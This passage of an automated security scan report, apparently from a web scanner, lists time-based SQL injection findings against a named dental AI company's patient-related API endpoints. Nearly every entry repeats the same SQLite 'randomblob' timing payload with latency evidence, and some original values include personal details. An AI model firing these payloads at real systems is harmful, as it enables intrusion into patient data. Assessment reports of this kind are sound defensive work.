Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,296] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,742] milliseconds, when the original unmodified query with value [193] took [2,582] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,296] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,742] milliseconds, when the original unmodified query with value [193] took [2,582] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [759] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [843] milliseconds, when the original unmodified query with value [314] took [2,032] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [759] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [843] milliseconds, when the original unmodified query with value [314] took [2,032] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [782] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the

request to take [1,596] milliseconds, when the original unmodified query with value [164] took [2,175] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [782] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,596] milliseconds, when the original unmodified query with value [164] took [2,175] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [792] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,393] milliseconds, when the original unmodified query with value [360] took [2,203] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [792] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,393] milliseconds, when the original unmodified query with value [360] took [2,203] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [845] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,998] milliseconds, when the original unmodified query with value [142] took [257] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [845] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,998] milliseconds, when the original unmodified query with value [142] took [257] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [900] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,351] milliseconds, when the original unmodified query with value [44] took [779] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [900] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,351] milliseconds, when the original unmodified query with value [44] took [779] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [948] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,056] milliseconds, when the original unmodified query with value [100] took [1,202] milliseconds.

The query time is controllable using parameter value [case randomblob(100000000) when

Other Info	not null then 1 else 1 end], which caused the request to take [948] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,056] milliseconds, when the original unmodified query with value [100] took [1,202] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [969] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,035] milliseconds, when the original unmodified query with value [164] took [759] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [969] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,035] milliseconds, when the original unmodified query with value [164] took [759] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [995] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,917] milliseconds, when the original unmodified query with value [78] took [1,249] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [995] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,917] milliseconds, when the original unmodified query with value [78] took [1,249] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [997] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,547] milliseconds, when the original unmodified query with value [244] took [3,315] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [997] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,547] milliseconds, when the original unmodified query with value [244] took [3,315] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/skip
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [772] milliseconds, parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,707] milliseconds, when the original unmodified query with value [Blurred Image] took [261] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [772] milliseconds, parameter

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,707] milliseconds, when the original unmodified query with value [Blurred Image] took [261] milliseconds.
URL	https://api.velmeni.ai/api/role/create_role
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [777] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [805] milliseconds, when the original unmodified query with value [test] took [267] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [777] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [805] milliseconds, when the original unmodified query with value [test] took [267] milliseconds.
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,304] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,566] milliseconds, when the original unmodified query with value [ZP2JaQxqEk7ybIV6MJwDpw==] took [1,554] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,304] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,566] milliseconds, when the original unmodified query with value [ZP2JaQxqEk7ybIV6MJwDpw==] took [1,554] milliseconds.
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [825] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,489] milliseconds, when the original unmodified query with value [X8hPDbJRA57dEO+XQjknfQ==] took [1,035] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [825] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,489] milliseconds, when the original unmodified query with value [X8hPDbJRA57dEO+XQjknfQ==] took [1,035] milliseconds.
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,396] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,324] milliseconds, when the original unmodified query with value [sdhvbvsdjsdbkjdsdkvdv] took [782] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,396] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,324] milliseconds, when the original unmodified query with value [sdhvbvsdjsdbkjdsdkvdv] took [782] milliseconds.
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [791] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [795] milliseconds, when the original unmodified query with value [None] took [785] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [791] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [795] milliseconds, when the original unmodified query with value [None] took [785] milliseconds.
URL	https://api.velmeni.ai/api/sikka/appointment
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [275] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,073] milliseconds, when the original unmodified query with value [2023- 01-31] took [1,252] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [275] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,073] milliseconds, when the original unmodified query with value [2023- 01-31] took [1,252] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,246] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,269] milliseconds, when the original unmodified query with value [] took [1,348] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,246] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,269] milliseconds, when the original unmodified query with value [] took [1,348] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [953] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,456] milliseconds, when the original unmodified query with value [08/15 /22-active rem2000ded50.K] took [714] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [953] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,456] milliseconds, when the original unmodified query with value [08/15 /22-active rem2000ded50.K] took [714] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
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Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,450] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,563] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practices/1/appointments?patient_id=76****] took [1,255] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,450] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,563] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practices/1/appointments?patient_id=76****] took [1,255] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,081] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,925] milliseconds, when the original unmodified query with value [0-Non insurance patient] took [709] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,081] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,925] milliseconds, when the original unmodified query with value [0-Non insurance patient] took [709] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,218] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,242] milliseconds, when the original unmodified query with value [2006-09-09T00:00:00] took [701] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,218] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,242] milliseconds, when the original unmodified query with value [2006-09-09T00:00:00] took [701] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,484] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,560] milliseconds, when the original unmodified query with value [India] took [1,467] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,484] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,560] milliseconds, when the original unmodified query with value [India] took [1,467] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,583] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,430] milliseconds, when the original unmodified query with value [Los Gatos] took [1,527] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,583] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,430] milliseconds, when the original unmodified query with value [Los Gatos] took [1,527] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000) when not null then 1 else 1 end], which caused the request to take [1,472] milliseconds, parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,492] milliseconds, when the original unmodified query with value [2019-09-09T00:00:00] took [1,281] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000) when not null then 1 else 1 end], which caused the request to take [1,472] milliseconds, parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,492] milliseconds, when the original unmodified query with value [2019-09-09T00:00:00] took [1,281] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,357] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,404] milliseconds, when the original unmodified query with value [****] took [1,466] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,357] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,404] milliseconds, when the original unmodified query with value [****] took [1,466] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [913] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,036] milliseconds, when the original unmodified query with value [workphone] took [1,481] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [913] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,036] milliseconds, when the original unmodified query with value [workphone] took [1,481] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,006] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which

caused the request to take [2,127] milliseconds, when the original unmodified query with value [alert_note] took [1,312] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,006] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,127] milliseconds, when the original unmodified query with value [alert_note] took [1,312] milliseconds.

URL

https://api.velmeni.ai/api/sikka/create_patient_webhook

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,582] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,431] milliseconds, when the original unmodified query with value [Pallavi] took [1,961] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,582] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,431] milliseconds, when the original unmodified query with value [Pallavi] took [1,961] milliseconds.

URL

https://api.velmeni.ai/api/sikka/create_patient_webhook

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,525] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,533] milliseconds, when the original unmodified query with value [] took [1,269] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,525] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,533] milliseconds, when the original unmodified query with value [] took [1,269] milliseconds.

URL

https://api.velmeni.ai/api/sikka/create_patient_webhook

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,407] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,536] milliseconds, when the original unmodified query with value [] took [1,580] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,407] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,536] milliseconds, when the original unmodified query with value [] took [1,580] milliseconds.

URL

https://api.velmeni.ai/api/sikka/create_patient_webhook

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,452] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,750] milliseconds, when the original unmodified query with value [] took [1,333] milliseconds.

The query time is controllable using parameter value [case randomblob(100000) when not

Other Info	<p>null then 1 else 1 end], which caused the request to take [1,452] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,750] milliseconds, when the original unmodified query with value [] took [1,333] milliseconds.</p>
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	<p>case randomblob(1000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,209] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,242] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practices/1/patients/76****] took [1,214] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,209] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,242] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practices/1/patients/76****] took [1,214] milliseconds.</p>
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,480] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,069] milliseconds, when the original unmodified query with value [] took [1,324] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,480] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,069] milliseconds, when the original unmodified query with value [] took [1,324] milliseconds.</p>
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,432] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,432] milliseconds, when the original unmodified query with value [419577/419577/] took [689] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,432] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,432] milliseconds, when the original unmodified query with value [419577/419577/] took [689] milliseconds.</p>
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	<p>case randomblob(10000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,319] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,422] milliseconds, when the original unmodified query with value [Takur] took [1,478] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,319] milliseconds,</p>

Info	parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,422] milliseconds, when the original unmodified query with value [Takur] took [1,478] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,159] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,970] milliseconds, when the original unmodified query with value [] took [885] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,159] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,970] milliseconds, when the original unmodified query with value [] took [885] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,313] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,247] milliseconds, when the original unmodified query with value [abcd alert note] took [2,011] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,313] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,247] milliseconds, when the original unmodified query with value [abcd alert note] took [2,011] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,017] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practice_events?offset=1&limit=500] took [1,092] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,017] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practice_events?offset=1&limit=500] took [1,092] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,194] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,623] milliseconds, when the original unmodified query with value [0] took [946] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,194] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,623] milliseconds, when the original unmodified query with value [0] took [946] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,417] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,656] milliseconds, when the original unmodified query with value [] took [755] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,417] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,656] milliseconds, when the original unmodified query with value [] took [755] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,334] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,712] milliseconds, when the original unmodified query with value [] took [743] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,334] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,712] milliseconds, when the original unmodified query with value [] took [743] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,432] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,421] milliseconds, when the original unmodified query with value [] took [1,452] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,432] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,421] milliseconds, when the original unmodified query with value [] took [1,452] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,015] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,472] milliseconds, when the original unmodified query with value [] took [1,310] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,015] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,472] milliseconds, when the original unmodified query with value [] took [1,310] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [877] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,728] milliseconds, when the original unmodified query with value [08/15 /22-active rem2000ded50.K] took [1,483] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [877] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,728] milliseconds, when the original unmodified query with value [08/15 /22-active rem2000ded50.K] took [1,483] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
